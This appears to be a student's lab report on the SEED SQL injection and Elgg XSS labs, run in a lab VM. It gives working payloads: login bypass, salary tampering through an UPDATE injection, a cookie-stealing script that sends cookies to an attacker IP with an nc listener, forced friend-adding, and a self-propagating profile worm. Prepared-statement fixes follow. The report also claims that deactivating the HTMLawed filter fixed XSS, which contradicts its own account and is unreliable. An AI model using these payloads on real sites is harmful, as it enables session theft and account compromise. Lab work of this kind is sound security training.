# 20242924 2024-2025-2 《网络攻防实践》实践十报告

20242924 2024-2025-2 《网络攻防实践》实践十报告

1.实践内容

1.1 实践目标

一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

  • 弹窗显示cookie信息:将cookie信息显示。
  • 窃取受害者的cookies:将cookie发送给攻击者。
  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
  • 编写XSS蠕虫。
  • 对抗XSS攻击。

1.2 实践基础知识

SQL注入

  • SQL注入漏洞最主要的形成原因是在进行数据交互中,当前端的数据传入后端进行处理时,由于没有做严格的判断,导致其传入的“数据”在拼接到SQL语句中之后,由于其特殊性,被当作SQL语句的一部分被执行,从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
    SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。
    这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。
  • SQL注入的产生需要满足以下两个条件:
    参数用户可控:前端传给后端的参数用户可控;
    参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库中查询。
  • SQL注入类型:
    1、按照注入点分类:
    (1)数字型注入:许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,注入点id为数字,一般被叫做数字型注入点,通过这种形式查询出后台数据库信息返回前台展示,可以构造类似以下的SQL语句进行爆破:select * from 表名 where id=1 and 1=1。
    (2)字符型注入:网页链接有类似的结构http://xxx.com/users.php?name=admin 这种形式,注入点name为字符串,被称为字符型注入,可以用:select * from 表名 where name='admin' and 1=1。
    (3)搜索型注入:主要是指在数据搜索时没有过滤搜索参数,一般在链接地址中有 "keyword=“关键字”",注入点提交的是SQL语句,select * from 表名 where 字段 like '%关键字%' and '%1%'='%1%'。
    2、按照执行效果来分类:
    (1)基于布尔的盲注:根据页面返回判断条件真假注入。
    (2)基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
    (3)基于报错的注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
    (4)联合查询注入:可以使用union情况下注入。
    SQL注入常见的绕过方法:
    (1)大小写关键词绕过(UNiOn)
    (2)双写关键词绕过(ununionion)
    (3)编码绕过(base64、url)
    (4)内联注释绕过(/*! Union */)
    XSS跨站脚本攻击
  • XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS。
  • 攻击原理:
    恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。
  • XSS攻击按类型可以分为三种:
    反射性XSS :非持久型的XSS,没有长期被放在服务器中,是现在最容易出现的一种XSS 漏 洞。当用户在请求某一个URL得治的时候,会携带某一部分数据。当客户端进行访问某一条链接的时候,攻击者就可以将恶意的代码植入到URL中,如果服务器端未对URL的参数做判断或者是过滤,直接就返回相应页面,那么XSS攻击代码就会一起被传输到用户的浏览器,从而出发反射型XSS。可配合短链接实现钓鱼。反射型XSS的payload常常是构造在网站的某一个通过GET传递的参数中。(对应的数据流向是:浏览器---后端---浏览器)
    存储型XSS :存储型XSS又叫做持久型XSS。它是危害最大的XSS。这种类型的XSS可以将恶意的攻击代码持久化的保存在服务器上,然后被显示到HTML页面中。此类型的XSS漏洞经常出现 在用户评论的页面,将攻击者精心构造的恶意代码保存在数据库中。如果其他的用户访问到该页面时就会触发恶意的XSS代码执行,从而窃取用户的信息。(数据流向:浏览器---后端---数据库---后端---浏览器)
    DOM型XSS :DOM是由许多不同类型的节点共同组成,主要由元素节点、文本节点、属性节点。DOM型XSS漏洞是基于文档对象模型的一种漏洞。这种XSS和反射型XSS、存储型XSS的原理上由本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠的是浏览器端的DOM解析。客户端上的JS脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获得数据并执行。在客户端直接输出DOM内容的时候非常容易触发DOM型XSS漏洞,如doccment.getElementByld("x").innerHTML、doccument.write等。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

在实验开始前永久修改主机名:
在 ubuntu 系统中修改 hostname 为 20242924rwc
de

2.1.1 熟悉SQL语句

  • 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等),需要使用数据库来熟悉SQL查询。

使用命令sudo service apache2 start开启 Apache 服务
再通过命令sudo service apache2 status查看apache服务器运行状态
可以看到服务器正在运行,状态显示为active(running)
de
通过命令mysql -u root -p登录数据库,输入密码seedubuntu
de
输入指令show databases查看已有数据库
de
输入命 use Users;show tables; 查看 Users 中的所有表;
de
可以看到该数据库存在一个名为“credential”的表。
下面使用查询语句select * from credential,查看这个表的详细信息:
de

2.1.2 对SELECT语句的SQL注入攻击

上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
首先使用 SEED 访问已经搭建好的 Web 页面:http://www.seedlabsqlinjection.com/可以看到是这样的一个登录界面:
以 SEED 实验环境自带的火狐浏览器为例,使用快捷键ctrl+U查看该页面源码。
得知用户输入信息通过 get 的方法提交至 unsafe_home.php 页面进行校验;
de
de
打开一个终端,在其中键入命令:vim /var/www/SQLInjection/unsafe_home.php,查看上述网站的对应功能代码,可以看到其中用户信息和密码,也可以看到程序针对 Admin 和普通用户采用不同的处理方法:
de
de
de
de
在网页登录时,后台进行SQL的查询:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
如果输入的用户姓名为Admin'#,而Password为任意字段。那么上述查询语句就会改变:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin'#’ and Password=’$hashed_pwd’
值得注意的是,#表示注释。可以将其后面的语句给注释掉。从而实现SQL攻击。
所以输入用户名:Admin'#,密码不限。可以进入该网站的管理员界面
de

2.1.3 对UPDATE语句的SQL注入攻击

通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
进入Edit_Profile更新页面,查看源代码,看到表单以get方式将数据发到 unsafe_edit_backend.php 页面;
de
de
在终端中执行命令:vim /var/www/SQLInjection/unsafe_edit_backend.php打开代码,找到源码中的 UPDATE SQL 语句
de
de
使用之前的SQL漏洞,输入用户名Alice' #,用Alice的身份登录,看到Alice相关信息,点击 左上方的"Edit Profile",进入到编辑信息页面
构造 ', salary='20242924' where Name='Alice';#,对 AliceSalary进行修改,进行 SQL 注入攻击;
de
de
保存后看到 Alice 的 Salary 已经改为20242924;对 UPDATE 语句的 SQL 注入攻击实验成功。
de

2.1.4 SQL对抗:修复上述SQL注入攻击漏洞

  • 实现目标:修复上述SQL注入攻击漏洞。
    SQL注入漏洞存在根本问题。就是代码和数据不隔离。当构造SQL语句时,程序知道哪一部分是数据,哪一部分是数据是代码。但当SQL语句被发送到数据库时,却无法分辨。解决方案是使用预处理语句。预处理语句能防止SQL注入攻击。
    在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。
    将原来的语句:"$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";"
    修改为:"$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);"
    de
    de
    de
    修改保存 unsafe_home.php 文件后,登录失败:
    de
    继续进入 /var/www/SQLInjection/ 目录,输入命令:sudo vim unsafe_edit_backend.php ,查看其源码
    de
    在 unsafe_edit_backend.php 页面对 UPDATE 语句进行预处理。对 UPDATE 的修复如下,用以下代码替换掉 SQL 部分的代码:
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
    de

修改保存后,进入unsafe_edit_backend.php 页面,输入 ', Salary='20242924' where name='Alice' ,点击Save按钮后一直卡在空白页面,可以发现 UPDATE 对数据库的修改失败。
de
de

2.2 SEED XSS跨站脚本攻击实验

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

2.2.1 发布恶意消息,显示警报窗口

  • 在 Elgg 配置文件中嵌入一个 JavaScript 程序,以便当另一个用户查看配置文件时,将执行 JavaScript 程序并显示一个警报窗口。

在浏览器中访问 http://www.xsslabelgg.com/ ,输入账号:Alice 密码:seedalice
de
de
点击 Edit profile,在 Brief description 中输入 XSS 攻击代码,用于显示警告窗口:<script>alert('rwc_xss');</script>;
de
点击save按钮进行保存,发现弹出rwc_xss警告弹窗。
de
de

2.2.2 弹窗显示cookie信息

进入 Edit profile,在 Brief description 中输入 XSS 攻击代码:<script>alert(document.cookie);</script> ;
de
点击save保存,显示了 cookie 的信息。
de

2.2.3 窃取受害者的cookies

查看ubuntu的IP地址:192.168.200.20;
de
构造 XSS 攻击代码,设置只要有用户访问 Alice 的主页,就会接收到该用户的 cookie。点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:<script>document.write('<img src=http://192.168.200.20:5555?c='+escape(document.cookie)+'>');</script>
并保存,此时端口设置为5555;
de
切换账号:Boby 密码:seedboby
de
访问 Alice 主页前输入指令nc -l 5555 -v(其中 -l 指定端口,-v 显示详细信息)监听5555端口
de
de
使用 Boby 的账号进行登录并访问 Alice 的主页访问 Alice 主页后成功得到 Boby 的 cookie。
de

2.2.4 成为受害者的朋友

重新以Alice身份登录,访问Boby主页。首先点击 ctrl+shift+E 打开浏览器开发者模式,进入Network页面,然后点击和 Boby 成为好友;可以看到浏览器发送了 GET 请求;
de
de
de
其中请求的地址为:http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1747834443&__elgg_token=FZVGaOQXMxN5LcifXTwjDQ&__elgg_ts=1747834443&__elgg_token=FZVGaOQXMxN5LcifXTwjDQ
可以看到,这里用到了三个参数(friend,__elgg_ts,__elgg_token,分别是好友、时间、身份认证);
构造以下js代码:

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;

    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

    var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;

    Ajax = new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

将其添加在 Alice 的 About me 中,并点击保存;
de
一开始Boby的页面如下,访问Alice的主页后可以看到已经成功添加好友
de
de

2.2.5 修改受害者的信息

  • 使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

进入Edit profile页面,点击按钮"Save",看到Network请求信息
de
同样构造脚本填入Alice的About me一栏中,点击"Save"按钮保存:

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>This had been changed by 20242924rwc.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=44;    
	if(elgg.session.user.guid!=aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

使用Boby访问Alice界面,再返回Boby主页,发现自我介绍已经改变,表明攻击成功:
de

2.2.6 编写XSS蠕虫

构造脚本填入Alice的About me一栏中,点击Save保存:
de

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>"; 
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    //Construct the content of your url.
    var content= token + ts + "&name=" + userName + "&description=<p>This had been changed by 20242924rwc again.  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    alert(content)

    var samyGuid=44;

    if(elgg.session.user.guid!=samyGuid){
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type",
        "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

退出Alice,使用Boby登录
Boby原本的About me是这样的,当访问Alice的页面后,自己的About me页面改变了
de

当使用第三个账号访问第二个账号时,可以发现该账号也会被感染
登录Samy账号(密码seedsamy)
de
Samy访问Boby主页,由于Boby被感染,那么发现Samy信息也被修改。攻击成功。
de

2.2.7 对抗XSS攻击

登录Admin账号(密码seedelgg),点击点击右上角的Account->Administration->plugins,将HTMLawed设为Deactivate状态,对用户的输入输出进行校验并且去除特定标
de
再次访问Alice主页,XSS漏洞已被修复
de

3.学习中遇到的问题及解决

  • 问题1:一开始怎么都进不去实验给定的数据库,反复弄了很久都不行
    问题1解决方法:询问了其他同学排除了很多错误,最后重新装了虚拟机成功进入
  • 问题2:再做成为受害者的朋友这个实验步骤时,在Alice的界面输入代码后怎么样都不能成功实现攻击
    问题2解决方法:重启就好了

4.学习感想和体会

通过SQL注入实验,我深刻认识到用户输入未过滤的危害——仅用admin' --就能绕过登录,甚至篡改他人薪资数据,这让我意识到参数化查询的必要性。XSS实验从简单的alert弹窗到窃取Cookie、自动加好友,JavaScript的滥用竟能造成如此连锁反应。当看到XSS蠕虫通过个人资料页面自动传播时,我真正理解了"前端安全即用户安全"的含义。实验证明,安全防护必须贯穿开发全流程,从后端的SQL预处理到前端的CSP策略,任何环节的疏忽都可能成为攻击入口。这次攻防实践不仅让我掌握了漏洞原理,更培养了"攻击者思维",未来开发中将始终以最小权限、最大验证为准则。但是这次实验出现了很多莫名奇妙的错误,让我耗费了很长时间,让我认识到要及时转换检查错误的方法,不要在一条路上一直检查。

posted @ 2025-05-21 23:05  Swannn  阅读(30)  评论(0)    收藏  举报